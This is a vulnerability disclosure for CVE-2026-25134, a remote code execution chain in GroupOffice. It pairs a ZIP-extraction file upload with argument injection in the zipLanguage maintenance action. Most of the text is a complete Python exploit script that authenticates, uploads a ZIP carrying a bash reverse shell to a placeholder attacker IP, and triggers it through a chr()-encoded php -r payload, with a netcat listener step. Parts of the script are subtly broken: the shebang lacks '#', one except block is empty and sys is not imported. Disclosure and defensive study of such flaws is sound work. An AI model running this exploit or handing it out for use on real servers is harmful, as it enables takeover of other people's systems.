CVE-2026-25134 - Remote Code Execution in GroupOffice

Working with NumberOreo, we identified a Critical Remote Code Execution (RCE) vulnerability chain in GroupOffice. By combining an Arbitrary File Upload vulnerability (via Zip Extraction) in the EmailTemplate module with a Command Injection vulnerability in the Maintenance module, an authenticated attacker (with basic user privileges) can execute arbitrary commands on the server.

You can read the advisory here

Details

This exploit chain relies on two distinct vulnerabilities:

1. Arbitrary File Upload via Zip Extraction (EmailTemplate/fromZip)

The EmailTemplate controller allows users to import templates from a ZIP file. The extraction logic does not sufficiently validate the types or contents of files within the ZIP archive. The application extracts the ZIP contents into a temporary directory with a randomized name (e.g. /tmp/groupoffice/5f3a1b2c/payload.sh). normally making the full path execution difficult.

2. Argument Injection in MaintenanceController::actionZipLanguage

The MaintenanceController exposes an action zipLanguage which takes a lang parameter and passes it directly to a system zip command via exec().

The Bypass: Since we do not know the exact randomized directory name created in step 1, we utilize the Command Injection in step 2 to execute a shell command using recursive globbing (wildcards). By injecting bash /**/**/**/payload.sh, the system searches for our unique filename across the filesystem (or specifically within temporary paths), effectively bypassing the protection offered by the randomized directory name.

The code constructs a command like: zip [Lang_param]-version.zip

By injecting arguments into the lang parameter, we can manipulate the zip command. Specifically, we use the -TmTT flags to force zip to execute a test command (Reference: Argument Injection Vectors - Zip). Furthermore, we abuse the php -r command with chr() encoding to facilitate our command injection.

Vulnerable Code (MaintenanceController.php):

public function actionZipLanguage($lang) {
    // ...
    $tmpFile = \GO\Base\Fs\File::tempFile($langCode.'-'.str_replace('.','-', GO::config()->version), 'zip');
    // $langCode (derived from $lang) is injected into cmd string
    $cmdString = GO::config()->cmd_zip.' '.$tmpFile->path().' '.implode(" ", $fileNames);
    exec($cmdString, $outputArr, $retVal);
}

PoC - Exploitation Chain

We demonstrate the vulnerability with a combined Python script that performs the following steps:

  1. Authenticate as a regular user (e.g., oreo).
  2. Generate a malicious .sh payload with a random filename.
  3. Upload a ZIP containing this payload via the API (api/upload.php + api/jmap.php -> EmailTemplate/fromZip).
  4. Trigger RCE by calling Maintenance/zipLanguage with a payload that executes the uploaded shell script using wildcard globbing (bash /**/**/**/payload.sh).

Prerequisites: Before running the exploit:

  1. Start a netcat listener on your machine: nc -nvlp 4444
  2. Edit the BASE_URL variable to point to the authorized Group-Office instance.
  3. Edit the SHELL_CONTENT variable with your attacker IP address.
  4. Edit the USER and PASS variables with your credentials.
!/usr/bin/env python3
import os
import requests
import zipfile
import io
import random
import string
import time


BASE_URL = os.environ.get("BASE_URL", "http://XX.XX.XX.XX.fr:4444")
USER = os.environ.get("USER", "user")
PASS = os.environ.get("PASS", "password")

SHELL_CONTENT = b'/bin/bash -i >& /dev/tcp/XX.XX.XX.XX/4444 0>&1'


def random_string(length=8):
    return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length))

def create_malicious_zip(filename, content):
    zip_buffer = io.BytesIO()
    with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zf:
        zf.writestr(filename, content)
        zf.writestr("index.html", b"<html><body>Template</body></html>")
    return zip_buffer.getvalue()

def to_php_chr(s):
    """Converts a string to a PHP chr() concatenation string."""
    return ".".join([f"chr({ord(c)})" for c in s])

def generate_rce_payload(command):
    php_code = f"system({to_php_chr(command)});"
    wrapped_payload = f"php -r '{php_code}'"
    final_payload = f'-TmTT=$({wrapped_payload})'
    return final_payload

def authenticate(session):
    """Authenticate via api/auth.php and return accessToken + csrfToken"""
    url = f"{BASE_URL}/api/auth.php"
    data = {"action": "login", "username": USER, "password": PASS}
    headers = {'Content-Type': 'application/json'}

    try:
        resp = session.post(url, json=data, headers=headers, timeout=10)
        if resp.status_code == 201:
            json_resp = resp.json()
            access_token = json_resp.get('accessToken')
            csrf_token = json_resp.get('CSRFToken')
            print(f"Login Successful")
            return access_token, csrf_token
        else:
            print(f"Login Failed")
            return None, None
    except Exception as e:
        print(f"Login Error: {e}")
        return None, None

def upload_zip_payload(session, zip_data, access_token, csrf_token):
    """Uploads the malicious ZIP file using api/upload.php"""
    url = f"{BASE_URL}/api/upload.php"
    headers = {
        'X-File-Name': 'payload.zip',
        'Content-Type': 'application/octet-stream',
        'Authorization': f'Bearer {access_token}'
    }
    if csrf_token:
        headers['X-CSRF-Token'] = csrf_token

    try:
        resp = session.post(url, data=zip_data, headers=headers, timeout=10)
        if resp.status_code in [200, 201]:
            json_resp = resp.json()
            blob_id = json_resp.get('id') or json_resp.get('blobId')
            return blob_id
        else:
            return None
    except Exception as e:
        print(f"Upload Error: {e}")
        return None

def trigger_extraction(session, blob_id, access_token, csrf_token):
    """Triggers the EmailTemplate/fromZip action via JMAP to extract the ZIP."""
    url = f"{BASE_URL}/api/jmap.php"

    jmap_request = [
        ["EmailTemplate/fromZip", {
            "blobId": blob_id,
            "module": "addressbook",
            "package": "community",
            "subject": "PoC Exploit"
        }, "extract"]
    ]

    headers = {
        'Content-Type': 'application/json',
        'Authorization': f'Bearer {access_token}'
    }
    if csrf_token:
        headers['X-CSRF-Token'] = csrf_token

    try:
        resp = session.post(url, json=jmap_request, headers=headers, timeout=10)
    except Exception as e:
        print(f"Error: {e}")

def trigger_rce_execution(session, shell_filename, access_token=None):
    command = f"bash /**/**/**/{shell_filename}"
    payload = generate_rce_payload(command)


    url = f"{BASE_URL}/index.php"
    params = {
        "r": "maintenance/zipLanguage",
        "lang": payload
    }
    headers = {}
    if access_token:
         headers['Authorization'] = f"Bearer {access_token}"

    try:
        resp = session.get(url, params=params, headers=headers, timeout=5)
    except requests.exceptions.ReadTimeout:
    except Exception as e:
        print(f"RCE Trigger Error: {e}")

def main():
    session = requests.Session()

    # 1. Authenticate
    access_token, csrf_token = authenticate(session)
    if not access_token:
        sys.exit(1)

    # 2. Generate random filename
    shell_filename = f"{random_string(6)}.sh"

    # 3. Create ZIP
    zip_data = create_malicious_zip(shell_filename, SHELL_CONTENT)

    # 4. Upload ZIP
    blob_id = upload_zip_payload(session, zip_data, access_token, csrf_token)
    if not blob_id:
        sys.exit(1)

    # 5. Trigger Extraction (puts shell on disk)
    trigger_extraction(session, blob_id, access_token, csrf_token)

    # Give it a split second to write to disk
    time.sleep(1)

    # 6. Execute via RCE
    trigger_rce_execution(session, shell_filename, access_token)

if __name__ == "__main__":
    main()